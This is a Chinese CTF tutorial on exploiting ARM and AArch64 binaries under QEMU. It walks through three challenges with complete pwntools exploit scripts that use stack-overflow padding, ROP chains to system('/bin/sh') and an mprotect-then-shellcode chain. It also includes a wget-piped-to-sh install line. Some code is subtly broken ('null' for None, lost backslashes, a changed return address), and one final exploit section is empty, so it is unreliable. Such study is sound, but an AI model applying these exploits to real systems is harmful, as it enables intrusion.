ARM架构下的 Pwn 的一般解决思路

 

0x01 写在前面

本文作为”Multi-arch Pwn 系列”中的文章之一,因为篇幅过长,只能分架构来总结了。

多架构Pwn的题目虽然不多,但还是想要在这里总结一些常见的思路。

本文的部分内容引用了大佬的博客原文,已在文章末尾的参考链接中注明了原作者。

 

0x02.1 前置环境(基于Mac OS的环境搭建)

我们如果要使用多架构进行利用,我们一般需要安装qemu进行调试。

在 Mac OS 下我们可以使用brew install qemu来安装我们所需要的qemu。

但是,我们会发现我们无法使用大多数博客所述的qemu-arm来运行静态链接的其他架构程序。

经过查阅官方文档,我们发现官网中已经做了明确说明

5. QEMU User space emulator

5.1 Supported Operating Systems

The following OS are supported in user space emulation:

  • – Linux (referred as qemu-linux-user)
  • – BSD (referred as qemu-bsd-user)

也就是说,仅限Linux系统和BSD系统才能进行用户级别的仿真运行。那么我们尝试进行系统级别的仿真。

此处我们使用树莓派的系统镜像进行模拟。

准备qemu kernel

Kernel下载链接:https://github.com/dhruvvyas90/qemu-rpi-kernel

System Image下载链接:https://www.raspberrypi.org/downloads/raspbian/

此处因为网络原因导致镜像下载受阻,于是采用另一位大佬给出的替代方案~

关于启动选项的说明

-kernel kernel-qemu:指定启动所加载的内核文件类型,此处使用下载的内核映像类型kernel-qemu

-cpu arm1176:指定启动所使用的CPU文件,此处模拟ARM1176 CPURaspberry Pi板上搭载了Broadcom BCM2835,这个处理器用的是ARM1176JZ-F

-m 256:指定仿真系统可使用的内存大小,此处RAM的大小是256MB. 设定成比256MB大的值板子好像不能启动.

-M versatilepb:设定模拟的开发板类型。versatilepbARM Versatile Platform Board

-kernel kernel-qemu-4.4.34-jessie:指定启动所加载的内核镜像,此处使用下载的内核映像kernel-qemu-4.4.34-jessie

-append "root=/dev/sda2":指定内核的命令行。

-hda 2013-09-25-wheezy-raspbian.imgHarddisk 0使用2013-09-25-wheezy-raspbian.img

 

0x02.2 前置环境(基于Deepin4的环境搭建)

本部分全文基本全文引用如何 pwn 掉一个 arm 的binary——m4x,故做二次版权声明。

虚拟机前期准备工作——更新apt源、安装必备软件

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install screenfetch git vim python python-pip python3 python3-pip gdb gdb-multiarch cmake time
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
pip3 install --user unicorn keystone-engine capstone -i https://pypi.tuna.tsinghua.edu.cn/simple
git clone https://github.com/sashs/filebytes.git
cd filebytes
sudo python3 setup.py install
git clone https://github.com/sashs/ropper.git
cd ropper
sudo python3 setup.py install
cd ~
wget https://github.com/keystone-engine/keystone/archive/0.9.1.tar.gz
tar xzvf 0.9.1.tar.gz
cd keystone-0.9.1/
mkdir build
cd build
../make-share.sh
sudo make install
sudo ldconfig
kstool
pip3 install --user ropper keystone-engine -i https://pypi.tuna.tsinghua.edu.cn/simple
sudo pip install pwntools

安装QEMU及其依赖

sudo apt-get install qemu-user

安装动态运行库(不运行此步骤也可以运行静态多架构程序)

使用命令apt-cache search "libc6" | grep -E "arm|mips"搜索可用的多架构运行库。

image-20200127195916239

我们只需要安装形如libc6-*-cross的运行库即可。

使用命令sudo apt-get install libc6-arm64-cross libc6-armel-cross libc6-armhf-cross libc6-mips-cross libc6-mips32-mips64-cross libc6-mips32-mips64el-cross libc6-mips64-cross libc6-mips64-mips-cross libc6-mips64-mipsel-cross libc6-mips64el-cross libc6-mipsel-cross libc6-mipsn32-mips-cross libc6-mipsn32-mips64-cross libc6-mipsn32-mips64el-cross libc6-mipsn32-mipsel-cross安装。

安装binutils环境

当我们使用Pwntools里的asm命令时,可能会报如下错误:

dpkg-query: 没有找到与 *bin/armeabi*linux*-as* 相匹配的路径
[ERROR] Could not find 'as' installed for ContextType(arch = 'arm', bits = 32, endian = 'little', log_level = 10)
    Try installing binutils for this architecture:
    https://docs.pwntools.com/en/stable/install/binutils.html

此时我们需要安装binutils依赖,首先使用命令apt search binutils | grep [arch](此处的[arch]请自行替换)

image-20200217161700519

随后安装显示出的包即可完成

image-20200217161731966

 

0x02.3 前置环境(基于ARM_NOW的环境搭建)

项目地址:https://github.com/nongiach/arm_now

根据项目简介所述:

arm_now is a qemu powered tool that allows instant setup of virtual machines on arm cpu, mips, powerpc, nios2, x86 and more, for reverse, exploit, fuzzing and programming purpose.

arm_now是一款基于qemu的强大的工具,它允许在arm-cpu,mips,powerpc,nios2,x86等平台上即时设置虚拟机,以进行程序逆向,利用,模糊测试和编程工作。

项目使用wiki:https://github.com/nongiach/arm_now/wiki

 

0x03 相关知识

ARM 架构

ARM架构使用了与Intel/AMD架构所不同的精简指令集(RISC),因此其函数调用约定以及寄存器也有了一定的差异。

过程调用标准

ARM/ARM64使用的是AAPCS或ATPCS标准。

ATPCS即为ARM-Thumb Procedure Call Standard/ARM-Thumb过程调用标准,规定了一些子程序间调用的基本规则,这些规则包括子程序调用过程中寄存器的使用规则,数据栈的使用规则,参数的传递规则。有了这些规则之后,单独编译的C语言程序就可以和汇编程序相互调用。使用ADS(ARM Developer Suite)的C语言编译器编译的C语言子程序满足用户指定的ATPCS类型。而对于汇编语言来说,则需要用户来保证各个子程序满足ATPCS的要求。而AAPCS即为ARM Archtecture Procedure Call Standard是2007年ARM公司正式推出的新标准,AAPCS是ATPCS的改进版,目前, AAPCS和ATPCS都是可用的标准。

寄存器规则

  1. 子程序间通过寄存器R0~R3传递参数。这时,寄存器R0~R3可记作arg0~arg3。被调用的子程序在返回前无需恢复寄存器R0~R3的内容,R0被用来存储函数调用的返回值
  2. 在子程序中,使用寄存器R4~R11保存局部变量。这时,寄存器R4~R11可以记作var1~var8。如果在子程序中使用了寄存器v1~v8中的某些寄存器,则子程序进入时必须保存这些寄存器的值,在返回前必须恢复这些寄存器的值R7经常被用作存储系统调用号,R11存放着帮助我们找到栈帧边界的指针,记作FP。在Thumb程序中,通常只能使用寄存器R4~R7来保存局部变量。
  3. 寄存器R12用作过程调用中间临时寄存器,记作IP。在子程序之间的连接代码段中常常有这种使用规则。
  4. 寄存器R13用作堆栈指针,记作SP。在子程序中寄存器R13不能用作其他用途。寄存器SP在进入子程序时的值和退出子程序时的值必须相等
  5. 寄存器R14称为连接寄存器,记作LR。它用于保存子程序的返回地址。如果在子程序中保存了返回地址,寄存器R14则可以用作其他用途。
  6. 寄存器R15程序计数器,记作PC。它不能用作其它用途。当执行一个分支指令时,PC存储目的地址。在程序执行中,ARM模式下的PC存储着当前指令加8(两条ARM指令后)的位置,Thumb(v1)模式下的PC存储着当前指令加4(两条Thumb指令后)的位置

给出ARM架构寄存器与Intel架构寄存器的关系:

ARM架构 寄存器名 寄存器描述 Intel架构 寄存器名
R0 通用寄存器 EAX
R1~R5 通用寄存器 EBX、ECX、EDX、EDI、ESI
R6~R10 通用寄存器
R11(FP) 栈帧指针 EBP
R12(IP) 内部程序调用
R13(SP) 堆栈指针 ESP
R14(LP) 链接寄存器
R15(PC) 程序计数器 EIP
CPSR 程序状态寄存器 EFLAGS

堆栈(Stack)规则

  1. ATPCS规定堆栈为FD类型,即Full Descending,意思是 SP指向最后一个压入的值(栈顶),数据栈由高地址向低地址生长,即满递减堆栈,并且对堆栈的操作是8字节对齐。所以经常使用的指令就有STMFD和LDMFD
  2. STMFD指令即Store Multiple FULL Descending指令,相当于压栈。STMFD SP! ,{R0-R7,LR}实际上会执行以下命令:
    SP = SP - 9 x 4 (共计压入R0-R7以及LR一共九个寄存器)
    ADDRESS = SP
    MEMORY[ADDRESS] = LR
    for i = 7 to 0
        MEMORY[ADDRESS] = Ri
        ADDRESS = ADDRESS + 4
    

    此处也可以看出,事实上的入栈顺序与R0-R7,LR相反。

    1. 执行SP = SP - 9 x 4image-20200203112143013
    2. 执行ADDRESS = SPimage-20200203112502852
    3. 执行MEMORY[ADDRESS] = LRimage-20200203112741279
    4. 接下来,ADDRESS逐次上移,以此填入寄存器的值。image-20200203112924692
    5. 至此,入栈指令执行结束。

    ⚠️:若入栈指令为STMFD SP ,{R0-R7,LR},SP指针会在最后回到原位,不会改变SP指针的值。

  3. LDMFD指令即Load Multiple FULL Descending指令,相当于出栈,也就是STMFD指令的逆操作。LDMFD SP! ,{R0-R7,LR}实际上会执行以下命令:
    SP = SP + 9 x 4
    ADDRESS = SP
    for i = 0 to 7
        Ri = MEMORY[ADDRESS]
        ADDRESS = ADDRESS - 4
    LR = MEMORY[ADDRESS]
    
  4. 对于汇编程序来说,如果目标文件中包含了外部调用,则必须满足下列条件:
    1. 外部接口的堆栈必须是8字节对齐的。
    2. 在汇编程序中使用PRESERVE8伪指令告诉连接器,本汇编程序数据是8字节对齐的。

传参规则

  1. 对于参数个数可变的子程序,当参数个数不超过4个时,可以使用寄存器R0~R3来传递参数;当参数超过4个时,还可以使用堆栈来传递参数。
  2. 在传递参数时,将所有参数看作是存放在连续的内存字单元的字数据。然后,依次将各字数据传递到寄存器R0,R1,R2和R3中。如果参数多于4个,则将剩余的字数据传递到堆栈中。入栈的顺序与参数传递顺序相反,即最后一个字数据先入栈。

返回值规则

  1. 结果为一个32位整数时,可以通过寄存器R0返回
  2. 结果为一个64位整数时,可以通过寄存器R0和R1返回
  3. 结果为一个浮点数时,可以通过浮点运算部件的寄存器f0、d0或s0来返回
  4. 结果为复合型浮点数(如复数)时,可以通过寄存器f0~fn或d0~dn来返回
  5. 对于位数更多的结果,需要通过内存来传递。

访址规则

  1. 通常,LDR指令被用来从内存中加载数据到寄存器,STR指令被用作将寄存器的值存放到内存中。
    @ LDR操作:从R0指向的地址中取值放到R2中
    LDR R2, [R0]   @ [R0] - 数据源地址来自于R0指向的内存地址
    @ STR操作:将R2中的值放到R1指向的地址中
    STR R2, [R1]   @ [R1] - 目的地址来自于R1在内存中指向的地址
    

    那么我们给出示例代码和解释:

    .data          /* 数据段是在内存中动态创建的,所以它的在内存中的地址不可预测*/
    var1: .word 3  /* 内存中的第一个变量且赋值为3 */
    var2: .word 4  /* 内存中的第二个变量且赋值为4 */
    
    .text          /* 代码段开始 */ 
    .global _start
    
    _start:
        ldr r0, adr_var1  @ 将存放var1值的地址adr_var1加载到寄存器R0中 
        ldr r1, adr_var2  @ 将存放var2值的地址adr_var2加载到寄存器R1中 
        ldr r2, [r0]      @ 将R0所指向地址中存放的0x3加载到寄存器R2中  
        str r2, [r1]      @ 将R2中的值0x3存放到R1做指向的地址,此时,var2变量的值是0x3
        bkpt        
    
    adr_var1: .word var1  /* var1的地址助记符 */
    adr_var2: .word var2  /* var2的地址助记符 */
    

    接下来我们对这段代码进行反编译,结果如下:

    ldr  r0, [ pc, #12 ]   ; 0x8088 <adr_var1>
    ldr  r1, [ pc, #12 ]   ; 0x808c <adr_var2>
    ldr  r2, [r0]
    str  r2, [r1]
    bx   lr
    

    此处,[PC,#12]的意义是PC + 4*3,可以看出,程序使用了偏移寻址的思路,但是,根据我们所写的汇编码:

    _start:
        ldr  r0, [ pc, #12 ]   ; <- PC
        ldr  r1, [ pc, #12 ]   
        ldr  r2, [r0]
        str  r2, [r1]
        bx   lr       
    
    adr_var1: .word var1  
    adr_var2: .word var2
    

    我们若想获取var_1,应该为PC + 4 * 5才对,但是我们之前提过的,在程序执行中,ARM模式下的PC存储着当前指令加8(两条ARM指令后)的位置,也就是说,此时程序中的状况应该如下表所示:

    _start:
        ldr  r0, [ pc, #12 ]
        ldr  r1, [ pc, #12 ]   
        ldr  r2, [r0]          ; <- PC
        str  r2, [r1]
        bx   lr       
    
    adr_var1: .word var1  
    adr_var2: .word var2
    

    这种形如[Ri , num]的方式被称为立即数作偏移寻址

    str r2, [r1, #2]  @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加2所指向地址处。
    str r2, [r1, #4]! @ 取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加4所指向地址处,之后R1寄存器中存储的值加4,也就是R1=R1+4。
    ldr r3, [r1], #4  @ 取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中存储的值加4,也就是R1=R1+4。
    
  2. 形如[Ri , Rj]的方式被称为寄存器作偏移寻址
    str r2, [r1, r2]  @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处。R1寄存器不会被修改。 
    str r2, [r1, r2]! @ 取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处,之后R1寄存器中的值被更新,也就是R1=R1+R2。
    ldr r3, [r1], r2  @ 取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中的值被更新也就是R1=R1+R2。
    
  3. 形如[Ri , Rj , <shifter>]的方式被称为寄存器缩放值作偏移寻址
    str r2, [r1, r2, LSL#2]  @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处。R1寄存器不会被修改。
    str r2, [r1, r2, LSL#2]! @ 取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处,之后R1寄存器中的值被更新,也就R1 = R1 + R2<<2。
    ldr r3, [r1], r2, LSL#2  @ 取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中的值被更新也就是R1 = R1 + R2<<2。
    

AArch64 架构

需要指出的是,AArch64架构并不是ARM-32架构的简单扩展,他是在ARMv8引入的一种全新架构。

寄存器变化

AArch拥有31个通用寄存器,系统运行在64位状态下的时候名字叫Xn,运行在32位的时候就叫Wn。

寄存器 别名 意义
SP Stack Pointer:栈指针
R30 LR Link Register:在调用函数时候,保存下一条要执行指令的地址。
R29 FP Frame Pointer:保存函数栈的基地址。
R19-R28 Callee-saved registers(含义见上面术语解释)
R18 平台寄存器,有特定平台解释其用法。
R17 IP1 The second intra-procedure-call temporary register……
R16 IP0 The first intra-procedure-call temporary register……
R9-R15 临时寄存器
R8 在一些情况下,返回值是通过R8返回的
R0-R7 在函数调用过程中传递参数和返回值
NZCV 状态寄存器:N(Negative)负数 Z(Zero) 零 C(Carry) 进位 V(Overflow) 溢出

指令集变化

  1. 除了批量加载寄存器指令 LDM/STM, PUSH/POP, 使用STP/LDP 一对加载寄存器指令代替。
  2. 没有提供访问CPSR的单一寄存器,但是提供访问PSTATE的状态域寄存器。
  3. A64没有协处理器的概念,没有协处理器指令MCR,MRC。
  4. 相比A32少了很多条件执行指令,只有条件跳转和少数数据处理这类指令才有条件执行。
指令基本格式

<Opcode>{<Cond>}<S> <Rd>, <Rn> {,<Opcode2>}

Opcode:操作码,也就是助记符,说明指令需要执行的操作类型。

Cond:指令执行条件码。

S:条件码设置项,决定本次指令执行是否影响PSTATE寄存器响应状态位值。

Rd/Xt:目标寄存器,A32指令可以选择R0-R14,T32指令大部分只能选择RO-R7,A64指令可以选择X0-X30。

Rn/Xn:第一个操作数的寄存器,和Rd一样,不同指令有不同要求。

Opcode2:第二个操作数,可以是立即数,寄存器Rm和寄存器移位方式(Rm,#shit)。

内存操作指令-load/store

在分析AArch64架构程序时,会发现我们找不到ARM中常见的STMFD/LDMFD命令,取而代之的是STP/LDP命令。

在ARM-v8指令集中,程序支持以下五种寻址方式:

  1. Base register only (no offset) :基址寄存器无偏移。形如:[ base { , #0 } ]
  2. Base plus offset:基址寄存器加偏移。形如:[ base { , #imm } ]
  3. Pre-indexed:事先更新寻址,先变化后操作。形如:[ base , #imm ]!。⚠️:!符号表示则当数据传送完毕之后,将最后的地址写入基址寄存器,否则基址寄存器的内容不改变。
  4. Post-indexed:事后更新寻址,先操作后变化。形如:[ base ] , #imm
  5. Literal (PC-relative): PC相对寻址。

常见的Load/Store指令有:

LDR,LDRB,LDRSB,LDRH,LDRSW,STR,STRB,STRH

⚠️:此处R – Register(寄存器)、RB – Byte(字节-8bit)、SB – Signed Byte(有符号字节)、RH – Half Word(半字-16bit)、SW- Signed Word(带符号字-32bit)。

举例:

LDR X1 , [X2]——将X2寄存器中的值赋给X1寄存器。

LDR X1 , [X2] , #4——将X2寄存器中的值赋给X1寄存器,然后X2寄存器中的值加4。

对于Load Pair/Store Pair这两个指令:从Memory地址addr处读取两个双字/字数据到目标寄存器Xt1,Xt2。

QEMU下的远程调试

以调试方式启动应用程序qemu-arm -g [port] -L [dynamically linked file] filename

这样,程序在启动时将会同时启动gdbserver,程序也会在开头中断等待gdb链接。

新建终端窗口,使用命令gdb-multiarch filename -q启动GDB。

进入GDB后,首先使用命令set architecture [Arch-name]设置架构。(若安装了能自动识别架构的GDB插件这一步可以省略)

然后使用target remote localhost:[port]来链接待调试的程序。(在GEF插件中,若想继续使用GEF插件的部分特性需要将命令改为gef-remote localhost:[port])

此处需要注意,在远程调试下会发现有一部分命令很难用,比如s/n这两个指令,当然官网也给出了不可用的原因是:

s 相当于其它调试器中的“Step Into (单步跟踪进入)”

n 相当于其它调试器中的“Step Over (单步跟踪)”

这两个命令必须在有源代码调试信息的情况下才可以使用(GCC编译时使用“-g”参数)。

而我们可以发现,无论是源程序还是libc都是没有调试信息的。

image-20200206154036840

因此我们需要使用si/ni指令来替代它们。

然后是vmmap命令对于远端内存情况的查看貌似也差强人意。(尽管此处的远端也是localhost)

image-20200206154345212

 

0x04 实战演练

以jarvisoj_typo为例

程序分析

image-20200127184016806

程序为ARM-32-static程序。

可以发现程序的符号表已经被去除,这极大地增加了我们的分析难度。

因此先使用Rizzo进行符号表修复,首先用IDA加载/usr/arm-linux-gnueabihf/lib/libc-2.24.so

在IDA的file—>Produce file—>Rizzo signature file中使用Rizzo导出符号表文件。

然后加载题目文件,在IDA的file—>Load file—>Rizzo signature file中使用Rizzo导出加载我们刚才导出的符号表文件,可以看出我们的部分函数符号得到了恢复~

然后我们根据调用的传参规则识别一些函数。

image-20200129164020552

此处推测是write(1,buf,length)的调用。

image-20200129182156911

我们发现,我们无法快速的根据反编译结果确定栈变量偏移。

进一步分析发现程序有大量代码没有被反编译!

image-20200129201538379

在进行进一步跟进分析发现此程序在IDA中大量的识别错误,包括但不限于大量的函数尾识别出错,堆栈分析错误,于是放弃静态分析的利用思路。

利用思路

考虑使用爆破padding的方式来获取正确的PC控制偏移。

padding爆破

def get_padding_length():
    length = 0
    while True:
        sh = get_sh()
        sh.recvuntil('if you want to quitn')
        sh.send('n')
        sh.recvrepeat(0.3)
        sh.sendline('A' * length + p32(0x8F00))
        try:
            if 'if you want to quitn' in sh.recvrepeat(0.3):
                return length
            sh.sendline('~')
            log.info('When padding is ' + str(length) + ', Success exit!')
            length = length + 1
            sh.close()
        except:
            log.info('When padding is ' + str(length) + ', Fail exit!')
            length = length + 1
            sh.close()
            pass

image-20200130171253923

Ret2addr

首先我们找一个合适的gadget用以劫持PC指针,此处我们选用0x00020904处的gadget。

error404@error404-PC:/media/psf/Home/Desktop/CTF_question/ARM_dir$ ROPgadget --binary 'typo' --only 'pop|ret'
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}

Unique gadgets found: 29

我们刚才又顺利的恢复了符号表,获取了system函数的位置。

image-20200130171508668

接下来我们检索程序中的/bin/sh字符串。

image-20200130171622254

于是,我们构造payload='A'*padding + p32(0x00020904) + p32(0x0006c384) + p32(0x0006c384) + p32(0x000110B4)

Final exploit

from pwn import *
import sys
context.log_level='debug'
context.arch='arm'

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./")
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./typo")

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_padding_length():
    length = 0
    while True:
        sh = get_sh()
        sh.recvuntil('if you want to quitn')
        sh.send('n')
        sh.recvrepeat(0.3)
        sh.sendline('A' * length + p32(0x8F00))
        try:
            if 'if you want to quitn' in sh.recvrepeat(0.3):
                return length
            sh.sendline('~')
            log.info('When padding is ' + str(length) + ', Success exit!')
            length = length + 1
            sh.close()
        except:
            log.info('When padding is ' + str(length) + ', Fail exit!')
            length = length + 1
            sh.close()
            pass

if __name__ == "__main__":
    padding = 112
    if padding is null:
        padding = get_padding_length()
        log.success('We get padding length is ' + str(get_padding_length()))
    sh = get_sh()
    payload='A' * padding + p32(0x00020904) + p32(0x0006c384) + p32(0x0006c384) + p32(0x000110B4)
    sh.recvuntil('if you want to quitn')
    sh.send('n')
    sh.recvrepeat(0.3)
    sh.sendline(payload)
    flag=get_flag(sh)
    log.success('The flag is '+flag)
    sh.close()

以Codegate2018_melong为例

程序分析

image-20200202220235680

32位ARM动态链接程序,仅开启NX保护。

题目是一个BMI指数计算和记录程序,write_diary存在明显的栈溢出漏洞,溢出的长度由我们的BMI指数决定,此处若我们使得nbyte为-1就可以获得一个近乎无限长度的溢出了~

image-20200202221234643

分析main函数可以得知,我们若想进入write_diary函数,必须使得BMI_num不为空,而BMI_num由PT函数计算得到,那么就必须保证v5不为空,因此,我们必须进入的函数有CheckPT这两个函数。

image-20200202222541019

那么先分析PT函数

image-20200202224420299

可以发现,程序没有任何的限制,那么我们直接进入Check函数,跟进流程即可,进入PT函数后直接输入-1即可获取溢出点。

构造payload

Leak Libc

首先,在main函数,可以确定需要padding的长度为0x54。

image-20200202230714072

⚠️:此时,在ARM程序中,要特别注意,我们无需覆盖BP指针的值,我们之前说过(见上文的堆栈规则)ARM下的入栈顺序,可以看到事实上返回地址之前并没有BP指针需要伪造。

image-20200203115532637

image-20200202230939497

然后利用ROPgadget可以获取程序里可供利用的gadget

image-20200203120249328

此处我们选用0x00011bbc : pop {r0, pc}

那么可以构造payload。

payload = 'A'*0x54 + p32(0x00011bbc) + p32(melong.got['puts']) + p32(melong.plt['puts'])

然后我们进行调试,注意,我们需要调试时,程序的启动方式需要变更。

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif remote_gdb:
        sh = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabi", "./melong"])
        log.info('Please use GDB remote!(Enter to continue)')
        raw_input()
        return sh
    else :
        return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "./melong"])

需要在本地启动一个gdb server,然后新开一个终端窗口进行附加。

我们在main函数返回处下断~

image-20200203200811568

可以看到,执行流确实被我们劫持了,并且程序确实输出了putsGOT表地址。

image-20200207231107324

返回main函数

接下来我们想要让程序返回main函数从而做二次利用。

但是在调试时发现程序在进入puts函数时IR寄存器的值并没有发生变化,这导致在puts函数执行结束后程序会回到0x0011270的位置,这将会导致程序再次执行LDMFD SP!, {R11,PC}。进而导致栈混乱。

image-20200207233455673

静态libc加载?

接下来我们发现,连续的两次泄露中,puts的got表地址并没有发生变化,也就是说!这里的libc文件可能是静态加载到程序里的!那么我们可以直接构造最终的exploit!

Final Exploit

from pwn import *
import sys
context.log_level='debug'
context.arch='arm'
remote_gdb=False

melong=ELF('./melong')

libc=ELF("/usr/arm-linux-gnueabi/lib/libc.so.6", checksec = False)

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./libc-2.30.so", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif remote_gdb:
        sh = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabi", "./melong"])
        log.info('Please use GDB remote!(Enter to continue)')
        raw_input()
        return sh
    else :
        return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "./melong"])

def get_address(sh,arch_num=null,info=null,start_string=null,end_string=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif arch_num == 64:
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
    log.success(info+str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

if __name__ == "__main__":
    # print(args['DEBUG'])
    sh = get_sh(True)
    libc_base = 0xff6b6f98 - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    binsh_addre = libc_base + libc.search('/bin/sh').next()
    # payload  = 'A' * 0x54 + p32(0x00011bbc) + p32(melong.got['puts']) + p32(melong.plt['puts'])
    payload  = 'A' * 0x54 + p32(0x00011bbc) + p32(binsh_addre) + p32(system_addr)
    sh.recvuntil('Type the number:')
    sh.sendline('1')
    sh.recvuntil('Your height(meters) : ')
    sh.sendline('1')
    sh.recvuntil('Your weight(kilograms) : ')
    sh.sendline('1')
    sh.recvuntil('Type the number:')
    sh.sendline('3')
    sh.recvuntil('How long do you want to take personal training?')
    sh.sendline('-1')
    sh.recvuntil('Type the number:')
    sh.sendline('4')
    sh.sendline(payload)
    sh.recvuntil('Type the number:')
    sh.sendline('6')
    flag=get_flag(sh)
    log.success('The flag is '+flag)

以Shanghai2018 – baby_arm为例

程序分析

image-20200208100703919

64位aarch架构程序,仅开启NX保护。

image-20200208101053804

main函数的逻辑相当简单,在read_200的函数中,可以发现存在明显的栈溢出。

image-20200208144823797

因此我们可以构造Payload。

构造payload

首先我们想要把shellcode写到BSS段,然后发现程序中存在mprotect函数的调用痕迹。

image-20200216224254154

那么我们可以利用mprotect函数修改BSS段的权限为可执行权限,然后将Shellcode放在BSS段上,跳转执行即可。

然后我们读一下汇编码~

image-20200216225146728

看到进入函数时对SP指针进行了-0x50的操作,之后又将其+0x10作为参数传入read函数。

那么我们是无法劫持这个函数的PC指针的,这个函数的Stack结构如下。

image-20200217112801736

可见,我们无法篡改X29和X30寄存器,但是!当此函数执行完毕后,SP指针会回到Buf的结束位置,之后main函数会直接从那里取出地址返回,我们就可以劫持main函数的PC指针。

image-20200217113156082

那么padding长度必定为0x40,然后覆盖X29寄存器的值,然后就能覆盖X30(返回地址所在寄存器)

padding = 'A' * 0x40 + p64(0xdeadbeef)

接下来我们需要控制X0-X3寄存器,以完成mprotect(0x411000,0x1000,7)的构造。

很可惜,没有符合要求的gadget~

image-20200216231621714

但是我们在程序中发现了这样的代码:

image-20200216231724010

可以看到这段代码非常像我们在Intel/AMD架构下利用的ret2csu的代码,那么此处我们可以进行利用。

0x4008CC处的代码开始,程序会依次对X19、X20、X21、X22、X23、X24、X29、X30赋值。

⚠️:此处请特别注意!X29,X30取的是SP指针指向处的值,因此在栈上应当布置成X29、X30、X19、X20、X21、X22、X23、X24的顺序!

我们若接下来将PC劫持到0x4008AC处,程序将执行LDR X3,[X21,X19,LSL#3],那么此句汇编的意义是,将X19的值逻辑左移(Logical Shift Left)三位后加上X21的值,取其所指向的值存储在X3寄存器中。接下来是把X22寄存器的值作为第三个参数,把X23寄存器的值作为第二个参数,把X24寄存器的值(的低32位)作为第一个参数,给X19寄存器的值加一,调用X3寄存器所指向的函数。

我们只需要控制X19为0,LDR X3,[X21,X19,LSL#3]其实就是LDR X3,[X21]那么我们需要找一个可控地址写入mprotect@plt,此时BSS就成了我们的最佳选择。

那么我们可以构造此处的payload:

payload  = padding + p64(0x4008CC)       # X19 , X20
payload += p64(0xdeadbeef)               # X29
payload += p64(0x4008AC)                 # X30
payload += p64(0) + p64(1)               # X19 , X20
payload += p64(0x411068 + 0x100)         # X21
payload += p64(0x7)                      # X22
payload += p64(0x1000)                   # X23
payload += p64(0x411000)              # X24

接下来,我们需要让程序继续返回溢出函数,以劫持PC到shellcode处。

payload += p64(0xdeadbeef)               # X29
payload += p64(0x4007F0)                 # X30
payload += p64(0) * 0x6                  # X19 - X24

于是,完整的payload为

shell_code = asm(shellcraft.sh())
shell_code = shell_code.ljust(0x100,'x90')
shell_code = shell_code + p64(baby_arm.plt['mprotect'])
padding  = 'A' * 0x40 + p64(0xdeadbeef)
payload  = padding + p64(0x4008CC)       # X19 , X20
payload += p64(0xdeadbeef)               # X29
payload += p64(0x4008AC)                 # X30
payload += p64(0) + p64(1)               # X19 , X20
payload += p64(0x411068 + 0x100)         # X21
payload += p64(0x7)                      # X22
payload += p64(0x1000)                   # X23
payload += p64(0x411000)                 # X24
payload += p64(0xdeadbeef)               # X29
payload += p64(0x400068)                 # X30
payload += p64(0) * 0x6                  # X19 - X24

Final exploit

